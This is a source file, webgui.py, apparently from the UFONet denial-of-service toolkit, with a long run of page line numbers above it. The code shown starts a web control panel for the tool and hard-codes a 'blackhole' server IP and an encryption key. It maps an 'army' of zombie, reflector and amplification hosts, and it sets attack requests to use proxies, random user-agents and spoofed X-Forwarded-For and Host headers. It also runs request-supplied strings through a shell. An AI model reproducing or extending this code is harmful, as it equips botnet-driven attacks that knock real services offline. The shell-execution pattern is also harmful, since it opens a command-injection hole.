webgui.py 566 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065506650675068506950705071507250735074507550765077507850795080508150825083508450855086508750885089509050915092509350945095509650975098509951005101510251035104510551065107510851095110511151125113511451155116511751185119512051215122512351245125512651275128512951305131513251335134513551365137513851395140514151425143514451455146514751485149515051515152515351545155515651575158515951605161516251635164516551665167516851695170517151725173517451755176517751785179518051815182518351845185518651875188518951905191519251935194519551965197519851995200520152025203520452055206520752085209521052115212521352145215521652175218521952205221522252235224522552265227522852295230523152325233523452355236523752385239524052415242524352445245524652475248524952505251525252535254525552565257525852595260526152625263526452655266526752685269527052715272527352745275527652775278527952805281528252835284528552865287528852895290529152925293529452955296529752985299530053015302530353045305530653075308530953105311531253135314531553165317531853195320532153225323532453255326532753285329533053315332533353345335533653375338533953405341534253435344534553465347534853495350535153525353535453555356535753585359536053615362536353645365536653675368536953705371537253735374537553765377537853795380538153825383538453855386538753885389539053915392539353945395539653975398539954005401540254035404540554065407540854095410541154125413541454155416541754185419542054215422542354245425542654275428542954305431543254335434543554365437543854395440544154425443544454455446544754485449545054515452545354545455545654575458545954605461546254635464546554665467546854695470547154725473547454755476547754785479548054815482548354845485548654875488548954905491549254935494549554965497549854995500550155025503550455055506550755085509551055115512551355145515551655175518551955205521552255235524552555265527552855295530553155325533553455355536553755385539554055415542554355445545554655475548554955505551555255535554555555565557555855595560556155625563556455655566556755685569557055715572557355745575557655775578557955805581558255835584558555865587558855895590559155925593559455955596559755985599560056015602560356045605560656075608560956105611561256135614561556165617561856195620562156225623562456255626562756285629563056315632563356345635563656375638563956405641564256435644564556465647564856495650565156525653565456555656565756585659566056615662566356645665566656675668566956705671567256735674567556765677567856795680568156825683568456855686568756885689569056915692569356945695569656975698569957005701570257035704570557065707570857095710571157125713571457155716571757185719572057215722572357245725572657275728572957305731573257335734573557365737573857395740574157425743574457455746574757485749575057515752575357545755575657575758575957605761576257635764576557665767576857695770577157725773577457755776577757785779578057815782578357845785578657875788578957905791579257935794579557965797579857995800580158025803580458055806580758085809581058115812581358145815581658175818581958205821582258235824582558265827582858295830583158325833583458355836583758385839584058415842584358445845584658475848584958505851585258535854585558565857585858595860586158625863586458655866586758685869587058715872587358745875587658775878587958805881588258835884588558865887588858895890589158925893589458955896589758985899590059015902590359045905590659075908590959105911591259135914591559165917591859195920592159225923592459255926592759285929593059315932593359345935593659375938593959405941594259435944594559465947594859495950595159525953595459555956595759585959596059615962596359645965596659675968596959705971597259735974597559765977597859795980598159825983598459855986598759885989599059915992599359945995599659975998599960006001600260036004600560066007600860096010601160126013601460156016601760186019602060216022602360246025602660276028602960306031603260336034603560366037603860396040604160426043604460456046604760486049605060516052605360546055605660576058605960606061606260636064606560666067606860696070607160726073607460756076607760786079608060816082608360846085608660876088608960906091609260936094609560966097609860996100610161026103610461056106610761086109611061116112611361146115611661176118611961206121612261236124612561266127612861296130613161326133613461356136613761386139614061416142614361446145614661476148614961506151615261536154615561566157615861596160616161626163616461656166616761686169617061716172617361746175617661776178617961806181618261836184618561866187618861896190619161926193619461956196619761986199620062016202620362046205620662076208620962106211621262136214621562166217621862196220622162226223622462256226622762286229623062316232623362346235623662376238623962406241624262436244624562466247624862496250625162526253625462556256625762586259626062616262626362646265626662676268626962706271627262736274627562766277627862796280628162826283628462856286628762886289629062916292629362946295629662976298629963006301630263036304630563066307630863096310631163126313631463156316631763186319632063216322632363246325632663276328632963306331633263336334633563366337633863396340634163426343634463456346634763486349635063516352635363546355635663576358635963606361636263636364636563666367636863696370637163726373637463756376637763786379638063816382638363846385638663876388638963906391639263936394639563966397639863996400640164026403640464056406640764086409641064116412641364146415641664176418641964206421642264236424642564266427642864296430643164326433643464356436643764386439644064416442644364446445644664476448644964506451645264536454645564566457645864596460646164626463646464656466646764686469647064716472647364746475647664776478647964806481648264836484648564866487648864896490649164926493649464956496649764986499650065016502650365046505650665076508650965106511651265136514651565166517651865196520652165226523652465256526652765286529653065316532653365346535653665376538653965406541654265436544654565466547654865496550655165526553655465556556655765586559656065616562656365646565656665676568656965706571657265736574657565766577657865796580658165826583658465856586658765886589659065916592659365946595659665976598659966006601660266036604660566066607660866096610661166126613661466156616661766186619662066216622662366246625662666276628662966306631663266336634663566366637663866396640664166426643664466456646664766486649665066516652665366546655665666576658665966606661666266636664666566666667666866696670667166726673667466756676667766786679668066816682668366846685668666876688668966906691669266936694669566966697669866996700670167026703670467056706670767086709671067116712671367146715671667176718671967206721672267236724672567266727672867296730673167326733673467356736673767386739674067416742674367446745674667476748674967506751675267536754675567566757675867596760676167626763676467656766676767686769677067716772677367746775677667776778677967806781678267836784678567866787678867896790679167926793679467956796679767986799680068016802680368046805680668076808680968106811681268136814681568166817681868196820682168226823682468256826682768286829683068316832683368346835683668376838683968406841684268436844684568466847684868496850685168526853685468556856685768586859686068616862686368646865686668676868686968706871687268736874687568766877687868796880688168826883688468856886688768886889689068916892689368946895689668976898689969006901690269036904690569066907690869096910691169126913691469156916691769186919692069216922692369246925692669276928692969306931693269336934693569366937693869396940694169426943694469456946694769486949695069516952695369546955695669576958695969606961696269636964696569666967696869696970697169726973697469756976697769786979698069816982698369846985698669876988698969906991699269936994699569966997699869997000700170027003700470057006700770087009701070117012701370147015701670177018701970207021702270237024702570267027702870297030703170327033703470357036703770387039704070417042704370447045704670477048704970507051705270537054705570567057705870597060706170627063706470657066706770687069707070717072707370747075707670777078707970807081708270837084708570867087708870897090709170927093709470957096709770987099710071017102710371047105710671077108710971107111711271137114711571167117711871197120712171227123712471257126712771287129713071317132713371347135713671377138713971407141714271437144714571467147714871497150715171527153715471557156715771587159716071617162716371647165716671677168716971707171717271737174717571767177717871797180718171827183718471857186718771887189719071917192719371947195719671977198719972007201720272037204720572067207720872097210721172127213721472157216721772187219722072217222722372247225722672277228722972307231723272337234723572367237723872397240724172427243724472457246724772487249725072517252725372547255725672577258725972607261726272637264726572667267726872697270727172727273727472757276727772787279728072817282728372847285728672877288728972907291729272937294729572967297729872997300730173027303730473057306730773087309731073117312731373147315731673177318731973207321732273237324732573267327732873297330733173327333733473357336733773387339734073417342734373447345734673477348734973507351735273537354735573567357735873597360736173627363736473657366736773687369737073717372737373747375737673777378737973807381738273837384738573867387738873897390739173927393739473957396739773987399740074017402740374047405740674077408740974107411741274137414741574167417741874197420742174227423742474257426742774287429743074317432743374347435743674377438743974407441744274437444744574467447744874497450745174527453745474557456745774587459746074617462746374647465746674677468746974707471747274737474747574767477747874797480748174827483748474857486748774887489749074917492749374947495749674977498749975007501750275037504750575067507750875097510751175127513751475157516751775187519752075217522752375247525752675277528752975307531753275337534753575367537753875397540754175427543754475457546754775487549755075517552755375547555755675577558755975607561756275637564756575667567756875697570757175727573757475757576757775787579758075817582758375847585758675877588758975907591759275937594759575967597759875997600760176027603760476057606760776087609761076117612761376147615761676177618761976207621762276237624762576267627762876297630763176327633763476357636763776387639764076417642764376447645764676477648764976507651765276537654765576567657765876597660766176627663766476657666766776687669767076717672767376747675767676777678767976807681768276837684768576867687768876897690769176927693769476957696769776987699770077017702770377047705770677077708770977107711771277137714771577167717771877197720772177227723772477257726772777287729773077317732773377347735773677377738773977407741774277437744774577467747774877497750775177527753775477557756775777587759776077617762776377647765776677677768776977707771777277737774777577767777777877797780778177827783778477857786778777887789779077917792779377947795779677977798779978007801780278037804780578067807780878097810781178127813781478157816781778187819782078217822782378247825782678277828782978307831783278337834783578367837783878397840784178427843784478457846784778487849785078517852785378547855785678577858785978607861786278637864786578667867786878697870787178727873787478757876787778787879788078817882788378847885788678877888788978907891789278937894789578967897789878997900790179027903790479057906790779087909791079117912791379147915791679177918791979207921792279237924792579267927792879297930793179327933793479357936793779387939794079417942794379447945794679477948794979507951795279537954795579567957795879597960796179627963796479657966796779687969797079717972797379747975797679777978797979807981798279837984798579867987798879897990799179927993799479957996799779987999800080018002800380048005800680078008800980108011801280138014801580168017801880198020802180228023802480258026802780288029803080318032803380348035803680378038803980408041804280438044804580468047804880498050805180528053805480558056805780588059806080618062806380648065806680678068806980708071807280738074807580768077807880798080808180828083808480858086808780888089809080918092809380948095809680978098809981008101810281038104810581068107810881098110811181128113811481158116811781188119812081218122812381248125812681278128812981308131813281338134813581368137813881398140814181428143814481458146814781488149815081518152815381548155815681578158815981608161816281638164816581668167816881698170817181728173817481758176817781788179818081818182818381848185818681878188818981908191819281938194819581968197819881998200820182028203820482058206820782088209821082118212821382148215821682178218821982208221822282238224822582268227822882298230823182328233823482358236823782388239824082418242824382448245824682478248824982508251825282538254825582568257825882598260826182628263826482658266826782688269827082718272827382748275827682778278827982808281828282838284828582868287828882898290829182928293829482958296829782988299830083018302830383048305830683078308830983108311831283138314831583168317831883198320832183228323832483258326832783288329833083318332833383348335833683378338833983408341834283438344834583468347834883498350835183528353835483558356835783588359836083618362836383648365836683678368836983708371837283738374837583768377837883798380838183828383838483858386838783888389839083918392839383948395839683978398839984008401840284038404840584068407840884098410841184128413841484158416841784188419842084218422842384248425842684278428842984308431843284338434843584368437843884398440844184428443844484458446844784488449845084518452845384548455845684578458845984608461846284638464846584668467846884698470847184728473847484758476847784788479848084818482848384848485848684878488848984908491849284938494849584968497849884998500850185028503850485058506850785088509851085118512851385148515851685178518851985208521852285238524852585268527
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys, requests
  16. _AJAX_MAP_CACHE = None
  17. import urllib.request, urllib.error, urllib.parse
  18. from urllib.parse import urlparse as urlparse
  19. from core.tools.crypter import Cipher
  20. from time import gmtime, strftime, strptime
  21. from Cryptodome.Cipher import AES
  22. from hashlib import sha1, sha256
  23. from decimal import Decimal
  24. from random import shuffle
  25. from .options import UFONetOptions
  26. from .main import UFONet
  27. from core.tools.abductor import Abductor
  28. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  29. default_blackhole = '46.163.118.220' # default blackhole (turina.space)#
  30. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  31. ###################################################################
  32. browser_init_page = "https://swisscows.com/en" # initial webpage for ship.browser [OK! 20/08/2024]
  33. check_ip_service1 = 'https://api.ipify.org'
  34. check_ip_service2 = 'https://icanhazip.com'
  35. check_ip_service3 = 'https://ifconfig.me/ip'
  36. torrent_seed = "https://ufonet.03c8.net/ufonet/ufonet-v2.0.tar.gz.torrent" # current torrent seed [OK! 20/05/2026]
  37. blackhole_sep = "|" # blackhole stream separator
  38. board_msg_sep = "#!#" # board stream separator
  39. grid_msg_sep = "#?#" # grid stream seperator
  40. wargames_msg_sep = "#-#" # wargames stream seperator
  41. links_msg_sep = "#L#" # links stream separator
  42. streams_msg_sep = "#S#" # streams stream separator
  43. games_msg_sep = "#G#" # games stream separator
  44. globalnet_msg_sep = "#$#" # globalnet stream separator
  45. badkeys = [";", "/"] # some bad keys
  46. host = "0.0.0.0"
  47. port = 9999
  48. class ClientThread(threading.Thread):
  49. def __init__(self, ip, port, socket):
  50. threading.Thread.__init__(self)
  51. self.ip = ip
  52. self.port = port
  53. self.socket = socket
  54. self.pages = Pages()
  55. def run(self):
  56. req = self.socket.recv(2048)
  57. res = self.pages.get(req)
  58. if res is None:
  59. self.socket.close()
  60. return
  61. out = "HTTP/1.0 %s\r\n" % res["code"]
  62. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  63. out += "%s" % res["html"]
  64. try:
  65. self.socket.send(out.encode('utf-8'))
  66. except:
  67. self.socket.send(out)
  68. self.socket.close()
  69. if "run" in res and len(res["run"]):
  70. subprocess.Popen(res["run"], shell=True)
  71. class Pages():
  72. def file_len(self, fn):
  73. with open(fn) as f:
  74. for i, l in enumerate(f):
  75. pass
  76. return i + 1
  77. def html_army_map(self,target=None):
  78. try:
  79. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n"
  80. except:
  81. target_js="not any zombie available\n\n"
  82. if target is not None:
  83. target_js += "doll = new Doll('"+target+"')\n"
  84. target_js += "$('#ufomsg').load('/js/ajax.js?fetchdoll="+target+"')\n"
  85. return self.pages["/header"] + """
  86. <link rel="stylesheet" href="/js/style.css" />
  87. <link rel="stylesheet" href="/js/ajaxmap.css" />
  88. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  89. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  90. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  91. <script src="/js/leaflet/leaflet.js"></script>
  92. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  93. <script src="/js/jquery-1.10.2.min.js"></script>
  94. <script src="/js/rlayer-src.js"></script>
  95. <script src="/js/raphael.js"></script>
  96. <script src="/js/ufo.js"></script>
  97. <script src="/js/ajax.js"></script>
  98. </head><body bgcolor="black" text="black">
  99. <div id="wrapper">
  100. <div id="map" style="width: 100%; height: 100%"></div>
  101. </div>
  102. <script type="text/javascript">
  103. window.onload = function(){
  104. """+target_js+"""
  105. }
  106. </script>
  107. <center>
  108. """ + self.pages["/footer"]
  109. def html_request_submit(self):
  110. return self.pages["/header"]+"""<script>
  111. window.setTimeout(window.close,1234)
  112. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  113. <center>settings updated"""+self.pages["/footer"]
  114. def html_requests(self):
  115. # read requests configuration file (json)
  116. try:
  117. with open(self.mothership_webcfg_file) as data_file:
  118. data = json.load(data_file)
  119. except:
  120. if os.path.exists(self.mothership_webcfg_file) == True:
  121. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  122. return
  123. else: # generate default requests configuration file
  124. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  125. with open(self.mothership_webcfg_file, "w") as f:
  126. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  127. # set values of requests configuration from json file to html form
  128. with open(self.mothership_webcfg_file) as data_file:
  129. data = json.load(data_file)
  130. self.agents = [] # generating available user-agents
  131. f = open(self.agents_file)
  132. agents = f.readlines()
  133. f.close()
  134. for agent in agents:
  135. self.agents.append(agent)
  136. self.user_agent = random.choice(self.agents).strip()
  137. self.rproxy = data["rproxy"]
  138. if self.rproxy == "NONE":
  139. self.rproxy = ""
  140. self.ruseragent = data["ruseragent"]
  141. if self.ruseragent == "RANDOM":
  142. self.ruseragent = self.user_agent # random user-agent
  143. self.rreferer = data["rreferer"]
  144. if self.rreferer == "RANDOM":
  145. self.rreferer = self.referer # random referer
  146. self.rhost = data["rhost"]
  147. if self.rhost == "NONE":
  148. self.rhost = ""
  149. self.rxforw = data["rxforw"]
  150. if self.rxforw == "on":
  151. self.rxforw_check = 'checked'
  152. else:
  153. self.rxforw_check = ''
  154. self.rxclient = data["rxclient"]
  155. if self.rxclient == "on":
  156. self.rxclient_check = 'checked'
  157. else:
  158. self.rxclient_check = ''
  159. self.rtimeout = data["rtimeout"]
  160. self.rretries = data["rretries"]
  161. self.rdelay = data["rdelay"]
  162. self.threads = data["threads"]
  163. self.rssl = data["rssl"]
  164. if self.rssl == "on":
  165. self.rssl_check = 'checked'
  166. else:
  167. self.rssl_check = ''
  168. return self.pages["/header"] + """
  169. <script language="javascript">
  170. function Requests() {
  171. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  172. }
  173. </script>
  174. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  175. <u>Configure requests:</u>
  176. <table cellpadding="2" cellspacing="2">
  177. <form method='GET'>
  178. <tr>
  179. <td> Use proxy server:</td>
  180. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  181. </tr>
  182. <tr>
  183. <td> Use another HTTP User-Agent header:</td>
  184. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  185. </tr>
  186. <tr>
  187. <td> Use another HTTP Referer header:</td>
  188. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  189. </tr>
  190. <tr>
  191. <td> Use another HTTP Host header:</td>
  192. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  193. </tr>
  194. <tr>
